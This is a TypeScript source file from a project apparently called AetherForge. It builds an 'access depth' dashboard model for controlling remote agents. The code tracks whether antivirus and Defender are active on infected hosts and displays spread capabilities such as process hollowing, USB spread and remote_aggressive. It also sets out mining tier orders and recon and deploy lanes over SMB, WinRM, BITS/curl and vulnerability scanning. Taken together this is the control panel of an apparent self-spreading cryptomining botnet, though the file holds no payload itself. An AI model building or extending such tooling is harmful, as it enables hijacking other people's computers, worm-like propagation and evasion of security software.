Files
AetherForge/server/web/src/help/accessDepth.ts
AetherForge 0be2de81a5
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
2026-06-07 01:08:05 -07:00

362 lines
12 KiB
TypeScript

import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
import type { Agent } from '../types';
import { formatLotlTierLabel, parseTierAttempts, type TierAttempt } from '../types/lotl';
/** Mirrors agent/miner/environment_probe.go */
export interface EnvironmentProbes {
docker?: boolean;
wsl?: boolean;
pwsh?: boolean;
dotnet?: boolean;
gpu?: boolean;
av_blocks_exe?: boolean;
webview2?: boolean;
}
export interface AccessDepthDiagnostics {
environment_probes?: EnvironmentProbes;
tier_chain_order?: string[];
tier_chain_skipped?: string[];
lotl_tier?: string;
lotl_attempts?: TierAttempt[];
active_method?: string;
execution_mode?: string;
}
export interface AccessDepthServerPolicy {
lotl_onion_tiers?: string[];
mining_tier_order?: string[];
mining_skip_tiers?: string[];
triple_onion?: {
recon_tiers?: string[];
deploy_lanes?: string[];
};
}
export interface ProbeChip {
key: string;
label: string;
ok: boolean;
}
export interface AccessDepthAttemptRow {
tier: string;
label: string;
ok: boolean;
error?: string;
phase?: string;
}
export interface OnionTierRow {
index: number;
tier: string;
label: string;
status: 'active' | 'skipped' | 'pending' | 'done' | 'failed' | 'neutral';
}
export interface AccessDepthModel {
platformLabel: string;
osLine: string;
probes: ProbeChip[];
spreadCaps: string[];
privilegeHints: string[];
activeTier?: string;
activeTierLabel?: string;
joinLane?: string;
succeeded: AccessDepthAttemptRow[];
failed: AccessDepthAttemptRow[];
inProgressTier?: string;
inProgressLabel?: string;
pendingTiers: string[];
pendingLabels: string[];
miningOnion: OnionTierRow[];
spreadOnion: OnionTierRow[];
tripleOnionSummary?: string;
miningOrderSource: 'agent' | 'server' | 'default';
}
/** Default mining tier onion pushed at agent auth when Calibrate sends no override. */
export const DEFAULT_MINING_TIER_ORDER = [
'exe_subprocess',
'docker_load',
'container',
'wsl',
'ps_inmemory',
'cpu_inprocess',
'gpu_subprocess',
'stratum_direct',
] as const;
const DEFAULT_TRIPLE_RECON = ['kev_scan', 'vuln_recon', 'service_probe', 'listen_ports'];
const DEFAULT_TRIPLE_DEPLOY = [
'discover_and_join',
'docker',
'wsl',
'powershell',
'dotnet',
'bits_curl',
'smb',
'winrm',
];
export function parseEnvironmentProbes(raw: unknown): EnvironmentProbes | undefined {
if (!raw || typeof raw !== 'object') return undefined;
const row = raw as Record<string, unknown>;
const probes: EnvironmentProbes = {};
for (const key of ['docker', 'wsl', 'pwsh', 'dotnet', 'gpu', 'av_blocks_exe', 'webview2'] as const) {
if (typeof row[key] === 'boolean') probes[key] = row[key];
}
return Object.keys(probes).length > 0 ? probes : undefined;
}
export function parseAccessDepthDiagnostics(raw: Record<string, unknown>): AccessDepthDiagnostics {
const attempts = parseTierAttempts(raw.lotl_attempts ?? raw.attempts);
const tier_chain_order = Array.isArray(raw.tier_chain_order)
? raw.tier_chain_order.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
: undefined;
const tier_chain_skipped = Array.isArray(raw.tier_chain_skipped)
? raw.tier_chain_skipped.filter((t): t is string => typeof t === 'string' && t.trim() !== '')
: undefined;
const lotl_tier =
(typeof raw.lotl_tier === 'string' && raw.lotl_tier) ||
(typeof raw.active_tier === 'string' && raw.active_tier) ||
undefined;
return {
environment_probes: parseEnvironmentProbes(raw.environment_probes),
tier_chain_order: tier_chain_order?.length ? tier_chain_order : undefined,
tier_chain_skipped: tier_chain_skipped?.length ? tier_chain_skipped : undefined,
lotl_tier,
lotl_attempts: attempts.length ? attempts : undefined,
active_method: typeof raw.active_method === 'string' ? raw.active_method : undefined,
execution_mode: typeof raw.execution_mode === 'string' ? raw.execution_mode : undefined,
};
}
function platformLabel(platform?: string): string {
const p = (platform || '').toLowerCase();
if (p.includes('win')) return 'Windows';
if (p.includes('darwin') || p.includes('mac')) return 'macOS';
if (p.includes('linux')) return 'Linux';
return platform?.trim() || 'Unknown';
}
function probeChips(probes: EnvironmentProbes | undefined, agent: Agent): ProbeChip[] {
const p = probes ?? {};
const chips: ProbeChip[] = [
{ key: 'docker', label: 'Docker', ok: p.docker === true },
{ key: 'wsl', label: 'WSL', ok: p.wsl === true },
{ key: 'pwsh', label: 'PowerShell', ok: p.pwsh === true },
{ key: 'dotnet', label: 'dotnet', ok: p.dotnet === true },
{ key: 'gpu', label: 'GPU', ok: p.gpu === true || agent.gpu_miner_active === true },
{ key: 'webview2', label: 'WebView2', ok: p.webview2 === true },
];
if (p.av_blocks_exe === true) {
chips.push({ key: 'av', label: 'AV blocks exe', ok: false });
}
return chips.filter((c) => c.ok || probes != null);
}
function spreadCapabilities(agent: Agent): string[] {
const caps = agent.capabilities;
const out: string[] = [];
if (caps?.auto_spread) out.push('auto_spread');
if (caps?.mesh_p2p) out.push('mesh_p2p');
if (caps?.hole_punch) out.push('hole_punch');
if (caps?.process_hollowing) out.push('process_hollowing');
if (caps?.usb_spread || agent.usb_spread) out.push('usb_spread');
if (caps?.remote_aggressive) out.push('remote_aggressive');
return out;
}
function privilegeHints(agent: Agent, diag?: AccessDepthDiagnostics): string[] {
const hints: string[] = [];
if (agent.agent_elevated === true) hints.push('elevated');
else if (agent.agent_elevated === false) hints.push('standard user');
if (agent.defender_rtp === true) hints.push('Defender RTP on');
else if (agent.defender_enabled === true) hints.push('Defender on');
if (agent.ssh_available === true) hints.push('SSH reachable');
if (typeof agent.posture_score === 'number') hints.push(`posture ${agent.posture_score}`);
if (diag?.execution_mode) hints.push(`exec ${diag.execution_mode}`);
return hints;
}
function attemptRows(attempts: TierAttempt[]): AccessDepthAttemptRow[] {
return attempts.map((a) => ({
tier: a.tier,
label: formatLotlTierLabel(a.tier),
ok: a.ok,
error: a.error,
phase: a.phase,
}));
}
function uniqueAttemptTiers(attempts: TierAttempt[]): Set<string> {
return new Set(attempts.map((a) => a.tier.trim().toLowerCase()));
}
function resolveMiningOrder(
diag: AccessDepthDiagnostics | undefined,
policy: AccessDepthServerPolicy | undefined,
agent: Agent,
): { order: string[]; skipped: string[]; source: 'agent' | 'server' | 'default' } {
if (diag?.tier_chain_order?.length) {
return {
order: diag.tier_chain_order,
skipped: diag.tier_chain_skipped ?? [],
source: 'agent',
};
}
if (policy?.mining_tier_order?.length) {
return {
order: policy.mining_tier_order,
skipped: policy.mining_skip_tiers ?? [],
source: 'server',
};
}
if (agent.chain_order?.length) {
return {
order: agent.chain_order,
skipped: [],
source: 'agent',
};
}
return {
order: [...DEFAULT_MINING_TIER_ORDER],
skipped: diag?.tier_chain_skipped ?? [],
source: 'default',
};
}
function buildOnionRows(
order: string[],
skipped: string[],
attempts: TierAttempt[],
activeTier?: string,
): OnionTierRow[] {
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
const okSet = new Set(attempts.filter((a) => a.ok).map((a) => a.tier.toLowerCase()));
const failSet = new Set(attempts.filter((a) => !a.ok).map((a) => a.tier.toLowerCase()));
const active = activeTier?.toLowerCase();
return order.map((tier, i) => {
const key = tier.toLowerCase();
let status: OnionTierRow['status'] = 'neutral';
if (active && key === active) status = 'active';
else if (skippedSet.has(key)) status = 'skipped';
else if (okSet.has(key)) status = 'done';
else if (failSet.has(key)) status = 'failed';
else status = 'pending';
return {
index: i + 1,
tier,
label: formatLotlTierLabel(tier),
status,
};
});
}
function computePendingTiers(
order: string[],
skipped: string[],
attempts: TierAttempt[],
): string[] {
const skippedSet = new Set(skipped.map((s) => s.toLowerCase()));
const touched = uniqueAttemptTiers(attempts);
return order.filter((t) => {
const key = t.toLowerCase();
return !skippedSet.has(key) && !touched.has(key);
});
}
function detectInProgress(
agent: Agent,
attempts: TierAttempt[],
pending: string[],
activeTier?: string,
): string | undefined {
if (agent.status !== 'online') return undefined;
if (activeTier) {
const lastForActive = [...attempts].reverse().find((a) => a.tier.toLowerCase() === activeTier.toLowerCase());
if (!lastForActive || !lastForActive.ok) return activeTier;
}
return pending[0];
}
export function buildAccessDepthModel(
agent: Agent,
diagnostics?: AccessDepthDiagnostics,
policy?: AccessDepthServerPolicy,
): AccessDepthModel {
const attempts = diagnostics?.lotl_attempts ?? agent.lotl_attempts ?? [];
const activeTier = diagnostics?.lotl_tier ?? agent.lotl_tier;
const { order, skipped, source } = resolveMiningOrder(diagnostics, policy, agent);
const pending = computePendingTiers(order, skipped, attempts);
const inProgressTier = detectInProgress(agent, attempts, pending, activeTier);
const spreadOrder =
policy?.lotl_onion_tiers?.length && policy.lotl_onion_tiers.length > 0
? policy.lotl_onion_tiers
: [...DEFAULT_LOTL_ONION_TIERS];
const recon = policy?.triple_onion?.recon_tiers?.length
? policy.triple_onion.recon_tiers
: DEFAULT_TRIPLE_RECON;
const deploy = policy?.triple_onion?.deploy_lanes?.length
? policy.triple_onion.deploy_lanes
: DEFAULT_TRIPLE_DEPLOY;
const osParts = [platformLabel(agent.platform)];
if (agent.os_version) osParts.push(agent.os_version);
if (agent.arch) osParts.push(agent.arch);
return {
platformLabel: platformLabel(agent.platform),
osLine: osParts.join(' · '),
probes: probeChips(diagnostics?.environment_probes, agent),
spreadCaps: spreadCapabilities(agent),
privilegeHints: privilegeHints(agent, diagnostics),
activeTier,
activeTierLabel: activeTier ? formatLotlTierLabel(activeTier) : undefined,
joinLane: agent.join_lane,
succeeded: attemptRows(attempts.filter((a) => a.ok)),
failed: attemptRows(attempts.filter((a) => !a.ok)),
inProgressTier,
inProgressLabel: inProgressTier ? formatLotlTierLabel(inProgressTier) : undefined,
pendingTiers: pending,
pendingLabels: pending.map(formatLotlTierLabel),
miningOnion: buildOnionRows(order, skipped, attempts, activeTier),
spreadOnion: spreadOrder.map((tier, i) => ({
index: i + 1,
tier,
label: formatLotlTierLabel(tier),
status: 'neutral' as const,
})),
tripleOnionSummary: `recon: ${recon.slice(0, 3).join(' → ')}… · deploy: ${deploy.slice(0, 3).join(' → ')}`,
miningOrderSource: source,
};
}
export function parseAccessDepthServerPolicy(config: {
server?: {
lotl_onion_tiers?: string[];
triple_onion_policy?: {
recon_tiers?: string[];
deploy_lanes?: string[];
};
};
}): AccessDepthServerPolicy {
const server = config.server;
return {
lotl_onion_tiers: server?.lotl_onion_tiers,
mining_tier_order: [...DEFAULT_MINING_TIER_ORDER],
triple_onion: server?.triple_onion_policy
? {
recon_tiers: server.triple_onion_policy.recon_tiers,
deploy_lanes: server.triple_onion_policy.deploy_lanes,
}
: undefined,
};
}